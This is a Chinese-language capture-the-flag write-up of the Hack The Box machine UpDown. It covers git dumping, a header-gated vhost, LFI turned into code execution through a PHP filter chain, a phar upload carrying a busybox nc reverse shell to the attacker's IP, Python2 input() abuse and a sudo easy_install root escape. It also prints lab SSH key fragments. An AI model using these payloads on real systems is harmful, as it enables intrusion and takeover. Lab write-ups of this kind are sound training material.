Skip to content

UpDown Writeup

靶機資訊

Machine Description
Name UpDown
OS Linux
Difficulty Medium
Author AB2

情蒐 Recon

服務掃描

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
|   256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_  256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
┌──(kali㉿kali)-[~/…/ctf/htb/machines/updown]
└─$ sudo nmap -Pn -sCV -p- --min-rate 420 --script-args http.useragnet="Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5666.197 Safari/537.36"
 10.129.154.251
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-03 21:49 EDT
Warning: 10.129.154.251 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.154.251
Host is up (0.14s latency).
Not shown: 65361 closed tcp ports (reset), 172 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
|   256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_  256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 189.74 seconds

掃描結果顯示HTTP和SSH,那就先看看網站吧。

HTTP - Port 80

main page

網站首頁下方顯示本站域名:「siteisup.htb」,所以先把它加到/etc/hosts裡面。

Terminal
┌──(kali㉿kali)-[~/…/ctf/htb/machines/updown]
└─$ echo "10.129.154.251 siteisup.htb" | sudo tee -a /etc/hosts
[sudo] password for kali:
10.129.154.251 siteisup.htb

網站提供網頁監控測試,啟動debug模式試試看我方HTTP server。

目錄詳列

Test My Page

一邊目錄詳列一邊嘗試簡單的command injection,結果被防禦機制抓到,可以嘗試繞過檢查,但在這之前已經掃出/dev/.git目錄,所以先把原始碼載下來吧。

Terminal
┌──(kali㉿kali)-[~/…/ctf/htb/machines/updown]
└─$ feroxbuster -u http://siteisup.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content
/raft-large-words.txt --random-agent

301      GET        9l       28w      310c http://siteisup.htb/dev => http://siteisup.htb/dev
/
200      GET       40l       93w     1131c http://siteisup.htb/
200      GET      320l      675w     5531c http://siteisup.htb/stylesheet.css
200      GET        0l        0w        0c http://siteisup.htb/dev/
301      GET        9l       28w      315c http://siteisup.htb/dev/.git => http://siteisup.htb/dev/.git/

使用uv1安裝git-dumper2,然後下載標的的Git:

Terminal
┌──(kali㉿kali)-[~/…/ctf/htb/machines/updown]
└─$ uv tool install git-dumper

┌──(kali㉿kali)-[~/…/ctf/htb/machines/updown]
└─$ git-dumper http://10.129.154.251/dev/.git dump
[-] Testing http://10.129.154.251/dev/.git/HEAD [200]

Git永遠記得你的秘密

在檢視Git專案原始碼之前,先檢查Git的紀錄,因為開發者有可能在不知情的情況下將機敏資訊提交至Git版本控制系統中。如果沒有發現任何有價值的資訊,再回頭檢查原始碼。

Terminal
┌──(kali㉿kali)-[~/…/htb/machines/updown/dump]
└─$ git log

commit 354fe069f6205af09f26c99cfe2457dea3eb6a6c
Author: Abdou.Y <[email protected]>
Date:   Wed Oct 20 17:28:48 2021 +0200

    Delete .htpasswd

commit 8812785e31c879261050e72e20f298ae8c43b565
Author: Abdou.Y <[email protected]>
Date:   Wed Oct 20 16:38:54 2021 +0200

    New technique in header to protect our dev vhost.

commit bc4ba79e596e9fd98f1b2837b9bd3548d04fe7ab
Author: Abdou.Y <[email protected]>
Date:   Wed Oct 20 16:37:20 2021 +0200

    Update .htaccess

    New technique in header to protect our dev vhost.

從提交(commit)紀錄中發現了有趣的線索:發現開發者Abdou.Y曾經提交了.htpasswd,隨後又將其刪除。然而, 即使刪除檔案,原始資料仍完整保存在Git的歷史紀錄中。除此之外,開發者還提到使用自訂header保護開發者專用的vHost,這類存取控管多半在.htaccess中設定。

為什麼刪掉的檔案還在?

因為這是Git版本控制系統的核心功能,每一個commit都會建立完整的差異快照,就像遊戲的存檔點一樣, 讓你隨時都能回溯到任意存歷史狀態。因此,一旦提交資料到Git,它就會永久保存在專案歷史中, 這也意味著任何曾經被commit的敏感資訊都可能被恢復。

Dig up .htpasswd

Terminal
┌──(kali㉿kali)-[~/…/htb/machines/updown/dump]
└─$ git show 354fe069f6205af09f26c99cfe2457dea3eb6a6c
commit 354fe069f6205af09f26c99cfe2457dea3eb6a6c
Author: Abdou.Y <[email protected]>
Date:   Wed Oct 20 17:28:48 2021 +0200

    Delete .htpasswd

diff --git a/.htpasswd b/.htpasswd
deleted file mode 100644
index 8b13789..0000000
--- a/.htpasswd
+++ /dev/null
@@ -1 +0,0 @@
-

好景不常,該檔案竟然是空的QQ

存取開發者vHost

什麼是Virtual Host(vHost)?

Virtual Host(虛擬主機)是一種讓單一HTTP伺服器能夠運行多個網站的技術。最常見的實踐方式是以子網域(subdomain)呈現,如:admin.nosuch.sitemyvhost.nosuch.site。其他實踐方式還有:針對不同IP、Port來對應不同網站等。

既然取得.htpasswd路線行不通,就轉向取得開發者vHost吧!原始碼晚點再看。

在Apache中,vHost的設定檔位於/etc/apache2下的site-enabledsite-available資料夾底下,尤其是site-enabled,因為所有目前在運行的站點都會在這裡。但除非我們能夠任意讀取檔案(Path triversal、LFI),否則就只能用字典檔fuzzing了。

了解.htaccess存取限制

從剛才的Git紀錄得知開發者vHost受自訂header保護,於是檢視.htaccess以了解其保護機制:

SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header
SetEnvIfNoCase Special-Dev "only4dev" Required-Header3

此指令以正規表示式,但不分大小寫的方式檢查HTTP請求中Special-Dev的header之值是否為only4dev。 如果符合條件,就設定一個名為Required-Header的環境變數。

Order Deny,Allow

此指令設定存取限制順序。首先檢查Deny條件,再檢查Allow條件。

Deny from All

預設拒絕所有連線。

Allow from env=Required-Header

允許具備Required-Header環境變數的連線通過(即包含正確header)。

簡而言之,.htaccess限制所有連線必須包含Special-Dev: only4dev的HTTP header才能存取該站點。

Fuzzing開發者vHost

了解存取限制後,在掃描時加入必要的header:

Terminal
┌──(kali㉿kali)-[~/…/htb/machines/updown/dump]
└─$ ffuf -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" -H "Special-Dev: only4dev" -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -fs 1131

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://siteisup.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.siteisup.htb
 :: Header           : Special-Dev: only4dev
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 1131
________________________________________________

dev                     [Status: 200, Size: 1220, Words: 204, Lines: 42, Duration: 54ms]
:: Progress: [151265/151265] :: Job [1/1] :: 763 req/sec :: Duration: [0:03:28] :: Errors: 0 ::

找到dev.siteisup.htb!並加到/etc/hosts中。

Terminal
┌──(kali㉿kali)-[~/…/htb/machines/updown/dump]
└─$ cat /etc/hosts
127.0.0.1       localhost

10.129.154.251 siteisup.htb dev.siteisup.htb

成功取得開發者限定頁面!

dev page

關閉Firefox自動填充HTTPS

Forzen Firefox

雖然Kali預設的Firefox已關閉HTTPS-Only模式,但這不代表Firefox就不優先採用HTTPS。如果你曾經透過HTTPS連線某個網站,即使你現在明確指定要以HTTP連線,Firefox仍然根據紀錄自動優先選擇HTTPS,超級很煩人,所以要關掉,以下是設定步驟:

  1. 在網址欄輸入about:config,並點擊「I’ll be careful, I promise!」,進入Firefox設定頁
  2. 輸入browser.urlbar.autoFill,並設值為False NO AutoFill
  3. 重新啟動Firefox
  4. Enjoy,沒有多此一舉的瀏覽器

BurpSuite自動注入Header

為了順利讀取頁面,設定BurpSuite自動注入Header:

  1. 選擇「Proxy > Match and replase」,並點選「Add」。 BrupSuite Setting 01
  2. Replace欄位設定Special-Dev: only4dev。(點擊「test」測試header結果) BrupSuite Setting 02

PHP與那些花招

該Git專案結構如下:

dev
├── admin.php
├── changelog.txt
├── checker.php
├── index.php
└── stylesheet.css

Rescue the Princess in PHP by toggl

不安全的include()

首先檢視index.php檔案:

<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
    define("DIRECTACCESS",false);
    $page=$_GET['page'];
    if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
        include($_GET['page'] . ".php");
    }else{
        include("checker.php");
    }   
?>

程式邏輯如下:

  1. 當開發者連線dev.siteisup.htb時,檢查是否挾帶page參數。
  2. 如果包含該參數,且通過黑名單過濾規則!preg_match("/bin|usr|home|var|etc/i",$page), 就會將參數與".php"拼接成完整檔名,最後透過include()載入該PHP檔案。
  3. 否則載入checker.php檔案。

例如:/index.php?page=admin會載入admin.php頁面。

嘗試執行遠端程式碼

include()與其他函數類似函數,include_once()require()require_once(),具有讀取並執行功能。如果伺服器開啟allow_url_include設定,攻擊者就可以載入遠端PHP程式碼並執行。

http://dev.siteisup.htb/?page=http://<KALI_IP>/payload.txt%3f

Payload運作原理:

  1. 這段payload首先不會觸發黑名單。
  2. 執行到include()時變成:

    include("http://<KALI_IP>/payload.txt%3f.php");
    
  3. 如果順利,目標伺服器會連線至攻擊方HTTP伺服器取得payload.txt檔案

  4. %3f.php(?.php)被視為URL參數,達成截斷.php目的,或是直接用payload.php,就不用截斷了。
Failed to load remote PHP file

結果:失敗,也因此確定allow_url_include已被關閉。

嘗試PHP的封裝協議

PHP的封裝協議(Wrapper)4,又稱「偽協議」,可與filesystem相關函數(基本上具有讀寫功能的函數)共同運用,也是CTF常見考點。 由於我目前的目標是取得Shell,就先嘗試php://協議了。

php://filter的運作原理

php://filter5可以預先處理即將開啟的stream,同時過濾讀寫的協議格式如下:

php://filter/[FILTER]/resource=[STREAM]
php://filter/convert.base64-encode/resource=admin

用於外洩source code(避免執行)很方便。

Payload運作原理:

convert.base64-encode過濾器(filter),admin.phpI/O stream

當程式碼執行到include()時變成:

include("php://filter/convert.base64-encode/resource=admin.php");

程式執行流程:

  1. 讀入admin.php的內容。
  2. 透過convert.base64-encode過濾器進行base64編碼。
  3. 編碼的結果最後被include到index.php中顯示。

因此下圖才會顯示PD9waHAKI0VtcHR5IGZvciBub3cuCj8+在網頁中。

Failed to load remote PHP file

結果:成功!T T

PHP Filter Chain

既然能夠執行php://filter,就可以利用編碼/轉碼的過濾器,"構造"一段PHP程式碼。

這種技術稱作「PHP filter chain6,其運作邏輯大致如下:

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=admin
目標:生成文字「C」
  1. 生成字元:使用convert.iconv.UTF8.CSISO2022KR過濾器,因為它永遠會自動在字串(stream)前加上\x1b$)C
  2. 清除垃圾convert.base64-decode自動移除非base64字元
  3. 重新編碼:將剩下的資料再次encode回來,就在字串開頭取得字元C了!
Explain Filter Chain Basic
其他技巧與解釋
  • convert.iconv.UTF8.UTF7可消除=
  • 記得倒序構造payload
  • resource是stream的來源,可以是任意非空可讀檔案,或是php://temp,因為必須提供字元,過濾器才能夠編碼。

因此利用該技巧,就可以湊出像是:<?php phpinfo(); ?>的PHP程式碼,並被include()執行! 但是自己手組太麻煩了,使用現成工具PHP Filter Chain Generator生產payload。

Terminal
┌──(kali㉿kali)-[~/Documents/tools/php_filter_chain_generator]
└─$ python php_filter_chain_generator.py --chain '<?php phpinfo(); ?>  '
[+] The following gadget chain will generate the following code : <?php phpinfo(); ?>   (base64 value: PD9waHAgcGhwaW5mbygpOyA/PiAg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
Loading phpinfo

攻擊成功!

為什麼不直接reverse shell?

因為URL的長度有限(Apache預設8190),組成payload的長度太長(HTTP/1.1 414 Request-URI Too Long),所以放棄。

沒關閉的危險函數

既然取得PHP Info,就檢查有哪些可以執行命令的函數沒有被關閉:

Disabled Functions

結果發現proc_open()沒有被禁用,因此透過此函數RCE。

檢查函數好麻煩喔!

你可以:

  1. disalbe_functions清單餵給AI,叫它檢查還有哪些可執行命令的函數。
  2. 用類似這樣的工具:PHP Dangerous Functions Checker
  3. weevely產webshell,然後忘了這一小節。

不良的副檔名過濾機制

繼續檢查其他PHP檔案,發現check.php具有上傳網站清單的功能。

if($_POST['check']){

    # File size must be less than 10kb.
    if ($_FILES['file']['size'] > 10000) {
        die("File too large!");
    }
    $file = $_FILES['file']['name'];

    # Check if extension is allowed.
    $ext = getExtension($file);
    if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
        die("Extension not allowed!");
    }

    # Create directory to upload our file.
    $dir = "uploads/".md5(time())."/";
    if(!is_dir($dir)){
        mkdir($dir, 0770, true);
    }

  # Upload the file.
    $final_path = $dir.$file;
    move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");

  # Read the uploaded file.
    $websites = explode("\n",file_get_contents($final_path));

    foreach($websites as $site){
        $site=trim($site);
        if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
            $check=isitup($site);
            if($check){
                echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
            }else{
                echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
            }   
        }else{
            echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
        }
    }

  # Delete the uploaded file.
    @unlink($final_path);
}

程式邏輯如下:

  1. 確認大小檔案沒有超過上限後,先取得副檔名(getExtension())。
  2. 黑名單過濾規則(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext))檢查檔案副檔名。
  3. 上傳檔案到uploads/<MD5_HASH>資料夾下。
  4. 讀取清單內容,並測試所有網站是否存活。
  5. 測試完成後,刪除檔案。

惡意檔案上傳

原始程式的副檔名黑名單沒有過濾.phar.pht(另一種PHP副檔名),外加.htaccess沒有禁止PHP在uploads下執行, 導致只要取得上傳惡意檔案的位置,就能任意執行程式碼

首先上傳檔案測試,發現/uploads直接表列其目錄,因此不需要推測MD5的結果,就可以找到上傳檔案的儲存位置。

Indox of /uploads

但是沒有這麼簡單。

如果不能表列/uploads怎麼辦?
$dir = "uploads/".md5(time())."/";

根據原始碼,得知檔案最後的路徑是由uploads時間(Unix timestamp)的MD5組成,因此窮舉上傳前後約0.5秒的路徑即可。

繞過檔案刪除

光是能取得上傳還不夠,因為check.php上傳檔案後,測完網站存活就立刻刪除檔案了! 因此,要不上傳超多不存在的網站,故意延長測試時間,在刪檔前執行;要不在$check=isitup($site)觸發錯誤跳,在刪除前跳出函數。

NULL故意找碴

從剛在PHP Info裡面得知目前運行PHP 8.0,因此可利用NULL byte(\x00)觸發ValueError錯誤, 使程式在curl_setopt()跳出,也就不會刪除檔案了。

function isitup($url){
    $ch=curl_init();
    curl_setopt($ch, CURLOPT_URL, trim($url));
    curl_setopt($ch, CURLOPT_USERAGENT, "siteisup.htb beta");
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    $f = curl_exec($ch);
    $header = curl_getinfo($ch);
    if($f AND $header['http_code'] == 200){
        return array(true,$f);
    }else{
        return false;
    }
    curl_close($ch);
}
不信你試試
Terminal
┌──(kali㉿kali)-[~/…/ctf/htb/machines/updown]
└─$ cat Qq.php
😭😭
<?php proc_open("busybox nc 10.10.14.3 80 -e /bin/bash", array(), $pipes); ?>

┌──(kali㉿kali)-[~/…/ctf/htb/machines/updown]
└─$ cp Qq.php Qq.TwT; sed -i '1s/^/php\x00sucks\x0aTT\x00/' Qq.TwT <-上傳這個

製造Phar Payload

經過測試.pht沒用,.phar可以。 Phar檔案本身是壓縮檔(zip, tar等),因此將惡意PHP壓縮成任意檔案就可以了。

Terminal
┌──(kali㉿kali)-[~/…/ctf/htb/machines/updown]
└─$ zip Qq.jpg Qq.php
updating: Qq.php (deflated 2%)

zip的過程會加入NULL byte。

將惡意檔案上傳。

Upload Payload

再用phar://讀取壓縮檔裡面的Qq.php

RCE

成功取得reverse shell!

內部情蒐

拿到reverse shell,但權限不足不能取得user.txtQQ

Terminal
pwd
/home/developer
ls -lhta
total 40K
-rw-r----- 1 root      developer   33 Jun  4 01:36 user.txt
drwxr-xr-x 6 developer developer 4.0K Aug 30  2022 .
drwx------ 2 developer developer 4.0K Aug 30  2022 .cache
drwx------ 2 developer developer 4.0K Aug  2  2022 .ssh
drwxrwxr-x 3 developer developer 4.0K Aug  1  2022 .local
lrwxrwxrwx 1 root      root         9 Jul 27  2022 .bash_history -> /dev/null
drwxr-xr-x 3 root      root      4.0K Jun 22  2022 ..
-rw-r--r-- 1 developer developer  231 Jun 22  2022 .bash_logout
drwxr-x--- 2 developer www-data  4.0K Jun 22  2022 dev
-rw-r--r-- 1 developer developer 3.7K Feb 25  2020 .bashrc
-rw-r--r-- 1 developer developer  807 Feb 25  2020 .profile

都是SUID的鍋

但目前可以讀取/dev資料夾,資料夾裡有一個siteisup程式和一份Python腳本,而且siteisup被設定了SUID! 代表者任何人都可以以檔案擁有者執行siteisup

Terminal
cd dev
ls -alht
total 32K
drwxr-xr-x 6 developer developer 4.0K Aug 30  2022 ..
drwxr-x--- 2 developer www-data  4.0K Jun 22  2022 .
-rwsr-x--- 1 developer www-data   17K Jun 22  2022 siteisup
-rwxr-x--- 1 developer www-data   154 Jun 22  2022 siteisup_test.py
./siteisup
fjdaslfdajsfdas
Enter URL here:Welcome to 'siteisup.htb' application
<空白>

亂塞一堆垃圾給siteisup,沒戲,大概是因為目前是dumb shell的緣故,看不到錯誤訊息,所以先用strings分析一下字串。

Terminal
strings siteisup
/lib64/ld-linux-x86-64.so.2
libc.so.6
puts
setresgid
setresuid
system
getegid
geteuid
__cxa_finalize
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
Welcome to 'siteisup.htb' application
/usr/bin/python /home/developer/dev/siteisup_test.py
:*3$"
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0

發現siteisup其實只是一個執行siteisup_test.py的wrapper。

Python2的input()很特別

分析siteisup_test.py的內容,依據腳本的撰寫風格判斷應該是Python2

import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
        print "Website is up"
else:
        print "Website is down"

Python2的input()很特別,它會求值輸入的內容,不像Python3的input()只把內容當作字串處理, 這導致攻擊者能透過該函數任意執行程式碼。

developer與其SSH金鑰

利用Python2 input()和SUID,順利提權成developer,並幹走他的SSH金鑰。

Terminal
./siteisup
__import__("os").system("/bin/bash")
id
uid=1002(developer) gid=33(www-data) groups=33(www-data)
cd .ssh
ls
authorized_keys
id_rsa
id_rsa.pub
cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAmvB40TWM8eu0n6FOzixTA1pQ39SpwYyrYCjKrDtp8g5E05EEcJw/

ZSESqGN9EfOnUqvQa317rHnO3moDWTnYDbynVJuiQHlDaSCyf+uaZoCMINSG5IOC/4Sj0v
3zga8EzubgwnpU7r9hN2jWboCCIOeDtvXFv08KT8pFDCCA+sMa5uoWQlBqmsOWCLvtaOWe
N4jA+ppn1+3e0AAAASZGV2ZWxvcGVyQHNpdGVpc3VwAQ==
-----END OPENSSH PRIVATE KEY-----

然後就可以SSH了。

Terminal
┌──(kali㉿kali)-[~/…/ctf/htb/machines/updown]
└─$ chmod 600 develop_id_rsa

┌──(kali㉿kali)-[~/…/ctf/htb/machines/updown]
└─$ env TERM=xterm-256color ssh -i develop_id_rsa [email protected]
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-122-generic x86_64)

Last login: Tue Aug 30 11:24:44 2022 from 10.10.14.36
developer@updown:~$ cat user.txt
e02b0d04bf202c9bb3ec0d8824530b1c

Get Root!

提權路徑很老套,首先執行sudo -l以檢查有那些指令能夠以root權限執行, 發現developer不用密碼就使用easy_install,於是參考GTFOBins的提權方式, 成功取得root權限。

Terminal
developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User developer may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/local/bin/easy_install
developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.tyExJUX57r
Writing /tmp/tmp.tyExJUX57r/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.tyExJUX57r/egg-dist-tmp-0rGYwk
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
52be3bb9895b4e45f76ec1488d8d36fe

後記

如果當時直接上傳Qq.phar,就不需要include()載入,直接連它就可以觸發payload了。


  1. 我目前覺得最好的Python套件管理工具。 uv 

  2. 下載整個Git的工具,作者警告該工具可能被惡意Git repository攻擊,導致工具在本機執行任意程式碼。 類似工具如GitHackMaxime Arthaud - git-dumper 

  3. SetEnvIfNoCasemod_setenvif模組中的一項設定指令,根據條件設定環境變數。 Apache - SetEnvIfNoCase Directive 

  4. PHP內建的封裝協議,如:php://phar://glob://等,其實是將功能"包裝"成類似URL協議的形式。 PHP - Supported Protocols and Wrappers 

  5. php://協議包含各式I/O處理功能,filter只是其中一種。 PHP - php:// 

  6. 參考文件:Solving "includer's revenge" from hxp ctf 2021 without controlling any files - loknopPHP filters chain: What is it and how to use it - Synacktiv。 


Last update: 2025-05-22 Created: 2025-05-22